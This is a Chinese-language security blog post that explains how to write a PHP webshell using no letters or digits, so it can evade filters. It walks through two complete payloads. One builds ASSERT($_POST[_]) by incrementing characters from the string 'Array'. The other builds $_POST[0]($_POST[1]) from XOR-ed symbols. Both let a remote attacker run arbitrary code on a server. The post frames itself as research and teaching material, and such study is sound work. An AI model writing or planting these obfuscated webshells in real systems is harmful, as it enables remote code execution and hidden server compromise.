在处理字符变量的算数运算时, PHP 沿袭了 Perl 的习惯. 例如, a = ‘Z’; a++; 将把 $a 变成’AA’, 注意字符变量只能递增, 不能递减, 并且只支持纯字母 (a-z 和 A-Z).
php 弱类型的坑.
参考 P 牛的文章, 自己整理一下.
ASCII
利用之前介绍的特性.
首先要有一个字母 A, 之后才能通过递增得到其它字母.
由于 php 弱类型的特性, array 转换为 string 时会得到 Array.
$_ = ''.[];
echo $_; // Array
通过 !
进行非运算, bool 类型强制转换就会变成 0 or 1.
echo ''; //
echo !(''); // 1
echo ('!'=='@') //
echo !('!'=='@'); // 1
获取字符 A.
$_ = ''.[];
echo $_[''];
之后通过递增获取其它字符.
$_ = ''.[];
$_ = $_[''];
$_; // A
$___ = $_;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$___ .= $__.$__;
$__ = $_;
$__++;$__++;$__++;$__++; // E
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___ .= $__; // ASSERT
$____ = '_';
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____ .= $__;
$__ = $_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____ .= $__; // _POST
变量覆盖 得到 $_POST
.
$_ = $$____; // $_POST
拼接.
$___($_[_]); // ASSERT($_POST[_])
php 不区分大小写.
Xor
在PHP中, 两个变量进行异或时, 会将字符串转换成二进制再进行异或.
两个 foreach 跑出异或结果, 之后拼接.
<?php
@$_++; // 1
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1])
?>
- By:X1r0z[exp10it.cn]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论